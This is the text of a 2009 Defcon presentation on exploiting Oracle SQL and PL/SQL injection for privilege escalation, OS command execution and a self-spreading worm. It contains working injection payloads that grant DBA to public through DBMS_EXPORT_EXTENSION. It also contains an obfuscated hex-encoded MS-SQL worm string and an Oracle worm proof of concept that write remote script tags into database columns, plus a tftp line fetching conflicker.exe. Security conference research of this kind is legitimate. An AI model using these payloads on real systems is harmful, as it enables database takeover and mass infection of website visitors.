

The Making Of Second SQL Injection Worm (Oracle Edition)

Sumit Siddharth

SID@notsosecure.com

www.notsosecure.com

Defcon 17
Las Vegas –2009

About Me:

- Senior IT Security Consultant
- More than 4 years of Penetration Testing
- Not an Oracle Geek :(
- My Blog: www.notsosecure.com
- 10 slides + 2 Demos= 20 Mins !!

Agenda

How to exploit SQL Injections in **web applications with oracle** back-end to achieve the following:

- ▶ Escalate privileges from the session user to that of SYS (Similar to openrowset hacks in MS SQL)
- ▶ Execute OS Commands and achieve file system read/write access (Like xp_cmdshell in MS SQL)
- ▶ Can worms target Oracle web apps? (Just as they did against MS SQL)

Oracle: How Things Work

- By default Oracle comes with a lot of stored procedures and functions.
- Mostly these functions and stored procedures run with definer privileges (**default**).
- In order to make the function execute with the privileges of the user executing it, the function must have '**authid current_user**' keyword.
- If you find a SQL (PL/SQL) injection in a function owned by SYS and with '**authid definer**', you can run SQL (PL/SQL) as SYS.

SQL Injection in Oracle:

- PL/SQL Injection
- Injection in Anonymous PL/SQL block
- No Restriction
- Execute DDL, DML
- Easy
- SQL Injection
- Injection in Single SQL Statement
- Restrictions
- No ';' allowed
- Need more vulnerabilities
- Difficult

PL/SQL Injection

- Injection in Anonymous PL/SQL block

create or replace procedure orasso.test (q IN varchar2) AS

BEGIN

execute immediate ('begin '||q||'; end;');

END;

- * Attack has no limitation
- * Can Execute DML and DDL statements
- * Easy to exploit
- * Can Execute Multiple statements:
- * `q=>null;execute immediate 'grant dba to public';end'--`

PL/SQL Injection from Web Apps

- Vulnerable Oracle Application server allows PL/SQL injection
 - ▶ Bypass the PL/SQL exclusion list:
 - `http://host:7777/pls/orasso/orasso.home?);execute+immediate+:1;--={PL/SQL}`
 - ▶ Execute PL/SQL with permissions of user described in 'DAD' (`orasso_public`)
 - ▶ Exploit vulnerable procedures and become DBA
 - ▶ Don't rely on 'create function' privileges
 - `LT.COMPRESSWORKSPACETREE` (CPU Oct 2008; milw0rm:7677)
 - `LT.FINDRICSET` (CPU October 2007; milw0rm:4572)
 -100 more of these.....
 - ▶ Execute OS code (I Prefer Java)

Hacking OAS with OAP_Hacker.pl

■ OAP_hacker.pl

- ▶ Supports O.A.S <=10.1.2.2
- ▶ Relies on PL/SQL injection vulnerability
- ▶ Exploits vulnerable packages and grants DBA to 'public'
 - Generally orasso_public do not have create function privilege
 - Exploit based on Cursor Injection; Don't need create function
- ▶ OS code execution based on Java
- ▶ Demo

PL/SQL Injection

- Custom written Packages deployed on OAS may have PL/SQL Injection

- Example:

```
create or replace procedure orasso.test(q IN varchar2) AS
```

```
BEGIN
```

```
....
```

```
execute immediate ('begin '||q||'; end;');
```

```
.....
```

```
end;
```

- <http://host/pls/orasso/orasso.test?q=orasso.home>
- [http://host/pls/orasso/orasso.test?q=execute Immediate 'grant dba to public'](http://host/pls/orasso/orasso.test?q=execute%20Immediate%20'grant%20dba%20to%20public')

SQL Injection In Web Apps.

- Injection in Single SQL statement:
 - ▶ e.g. "Select a from b where c=".'\$input'
- Oracle **does not** support nested query in SQL
- To execute multiple query we need to find a PL/SQL Injection.
- How can we inject PL/SQL when the web application's SQL Injection allows only SQL?
- If there is a PL/SQL injection vulnerability in a function, then we can use web's SQL Injection to call this function, thereby executing PL/SQL via SQL Injection.

Introducing Dbms_Export_Extension

- Its an Oracle package which has had a number of functions and procedures vulnerable to PL/SQL injections, allowing privilege escalation.
- GET_DOMAIN_INDEX_TABLES(); **function** vulnerable to PL/SQL Injection; owned by sys; **runs as sys**
- We can inject PL/SQL within this function and the PL/SQL will get executed as SYS.
- The Function can be called from SQL queries such as SELECT, INSERT, UPDATE etc.

PL/SQL Injection in dbms_export_extension

```
FUNCTION GET_DOMAIN_INDEX_TABLES ( INDEX_NAME IN VARCHAR2, INDEX_SCHEMA IN
    VARCHAR2, TYPE_NAME IN VARCHAR2, TYPE_SCHEMA IN VARCHAR2, READ_ONLY IN
    PLS_INTEGER, VERSION IN VARCHAR2, GET_TABLES IN PLS_INTEGER)
RETURN VARCHAR2 IS
BEGIN
[...]

STMTSTRING := 'BEGIN ' || '"' || TYPE_SCHEMA || '".' || TYPE_NAME ||
    '".ODCIIndexUtilCleanup(:p1); ' || 'END;';

DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);
DBMS_SQL.BIND_VARIABLE(CRS,':p1',GETTABLENAMES_CONTEXT);
[...]
END GET_DOMAIN_INDEX_TABLES;
```

Example

- select

```
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'.PUT(:P1);EXECUTE IMMEDIATE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE "" grant dba to public"";END;";END;-- ', 'SYS',0,'1',0) from dual
```

- Fixed in CPU April 2006.

- Vulnerable versions: Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2, XE

Bsqlbf v2.3

- Uses this Oracle exploit to achieve the following:
 - ▶ Privilege escalation (Type 3)
 - ▶ OS code execution (Type 4)
 - with Java (default; stype 0)
 - with `plsql_native_make_utility` (Oracle 9; stype 1)
 - with `dbms_scheduler` (oracle 10; stype 2)
 - ▶ File system read/write access (Type 5;Java only)
 - ▶ Demo available at www.notsosecure.com

SQL Injection w0rms

■ MS-SQL:

- ▶ `s=290';DECLARE%20@S
%20NVARCHAR(4000);=CAST(0x6400650063006C00610072006500200040006D0020007600610072006300680061007200280038003000300030002900
3B00730065007400200040006D003D00270027003B00730065006C00650063007400200040006D003D0040006D002B0027007500700064006100740065
005B0027002B0061002E006E0061006D0065002B0027005D007300650074005B0027002B0062002E006E0061006D0065002B0027005D003D0072007400
720069006D00280063006F006E007600650072007400280076006100720063006800610072002C0027002B0062002E006E0061006D0065002B002700290
029002B00270027003C0073006300720069007000740020007300720063003D00220068007400740070003A002F002F0079006C00310038002E006E0065
0074002F0030002E006A00730022003E003C002F007300630072006900700074003E00270027003B0027002000660072006F006D002000640062006F002
E007300790073006F0062006A006500630074007300200061002C00640062006F002E0073007900730063006F006C0075006D006E007300200062002C00
640062006F002E007300790073007400790070006500730020006300200077006800650072006500200061002E00690064003D0062002E0069006400200
061006E006400200061002E00780074007900700065003D0027005500270061006E006400200062002E00780074007900700065003D0063002E00780074
00790070006500200061006E006400200063002E006E0061006D0065003D002700760061007200630068006100720027003B00730065007400200040006
D003D005200450056004500520053004500280040006D0029003B00730065007400200040006D003D0073007500620073007400720069006E006700280
040006D002C0050004100540049004E004400450058002800270025003B00250027002C0040006D0029002C00380030003000300029003B00730065007
400200040006D003D005200450056004500520053004500280040006D0029003B006500780065006300280040006D0029003B00%20AS
%20NVARCHAR(4000));EXEC(@S);--`

■ Oracle:

- ▶ `http://127.0.0.1:81/ora4.php?name=1 and 1=(select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'.PUT(:P1);EXECUTE IMMEDIATE "DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE "" begin execute immediate """" alter session set
current_schema=SCOTT """"; execute immediate """"commit"""";for rec in (select chr(117)||chr(112)||chr(100)||chr(97)||chr(116)||
chr(101)||chr(32)||T.TABLE_NAME||chr(32)||chr(115)||chr(101)||chr(116)||chr(32)||C.column_name||chr(61)||C.column_name||
chr(124)||chr(124)||chr(39)||chr(60)||chr(115)||chr(99)||chr(114)||chr(105)||chr(112)||chr(116)||chr(32)||chr(115)||chr(114)||chr(99)||
chr(61)||chr(34)||chr(104)||chr(116)||chr(116)||chr(112)||chr(58)||chr(47)||chr(47)||chr(119)||chr(119)||chr(119)||chr(46)||chr(110)||
chr(111)||chr(116)||chr(115)||chr(111)||chr(115)||chr(101)||chr(99)||chr(117)||chr(114)||chr(101)||chr(46)||chr(99)||chr(111)||
chr(109)||chr(47)||chr(116)||chr(101)||chr(115)||chr(116)||chr(46)||chr(106)||chr(115)||chr(34)||chr(62)||chr(60)||chr(47)||chr(115)||
chr(99)||chr(114)||chr(105)||chr(112)||chr(116)||chr(62)||chr(39) as foo FROM ALL_TABLES T,ALL_TAB_COLUMNS C WHERE
T.TABLE_NAME = C.TABLE_NAME and T.TABLESPACE_NAME like chr(85)||chr(83)||chr(69)||chr(82)||chr(83) and C.data_type like
chr(37)||chr(86)||chr(65)||chr(82)||chr(67)||chr(72)||chr(65)||chr(82)||chr(37) and c.data_length>200) loop EXECUTE IMMEDIATE
rec.foo;end loop;execute immediate """"commit"""";end;"";END;";END;--','SYS',0,'1',0) from dual)--`

What 'could' the worm do

- Update certain database tables
 - ▶ The website not starts to [distribute malware](#)
 - ▶ Pwn legitimate users of the site with [browser exploits](#)
 - There are enough 'ie' 0 days out there.
- OS code execution allows distribution of other worms such as [Conflicker!](#)
 - ▶ [select LinxRunCmd\('tftp -i x.x.x.x GET conflicker.exe'\) from dual](#)
- Exploit other Oracle components on internal network
 - ▶ Oracle Secure back-up; Remote Command Injection ([CPU 2009](#))
 - ▶ SQL Injection in Oracle Enterprise Manager ([CPU 2009](#))
 - ▶ TNS Listener exploits ([milw0rm: 8507](#))
 - ▶100 other things to do....

Demos

- Demo 1: Hacking OAS with OAS_hacker.pl
- Demo 2: Privilege escalation; Extracting data with SYS privileges ([visit www.notsosecure.com](http://www.notsosecure.com))
- Demo 3: O.S code execution; With Java (@notsosecure)
- Demo 4: P.O.C for a potential Oracle SQL Injection worm

Thank You

References:

- [http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_kupw\\$worker2.html](http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_kupw$worker2.html)
- http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_lt_findricset.html
- <http://www.breach.com/resources/breach-security-labs/alerts/breach-security-labs-releases-alert-on-oracle-application-se>
- http://www.red-database-security.com/exploits/oracle-sql-injection-oracle-dbms_export_extension.html
- http://sec.hebei.com.cn/bbs_topic.do?forumID=18&postID=4275&replyID=0&skin=1&saveSkin=true&pages=0&replyNum
- <http://milw0rm.com/exploits/3269>
- <http://www.securityfocus.com/bid/17699>
- http://www.orafaq.com/wiki/PL/SQL_FAQ#What_is_the_difference_between_SQL_and_PL.2FSQL.3F
- <http://www.red-database-security.com/wp/confidence2009.pdf>
- <http://alloracletech.blogspot.com/2008/07/authid-definer-vs-authid-currentuser.html>
- http://www.owasp.org/index.php/Testing_for_Oracle
- http://www.red-database-security.com/wp/google_oracle_hacking_us.pdf
- http://lab.mediaservice.net/notes_more.php?id=Oracle_Portal_for_Friends
- [http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_kupw\\$worker2.html](http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_kupw$worker2.html)
- <http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-fayo.pdf>
- And Lots more; can't fit in the space here....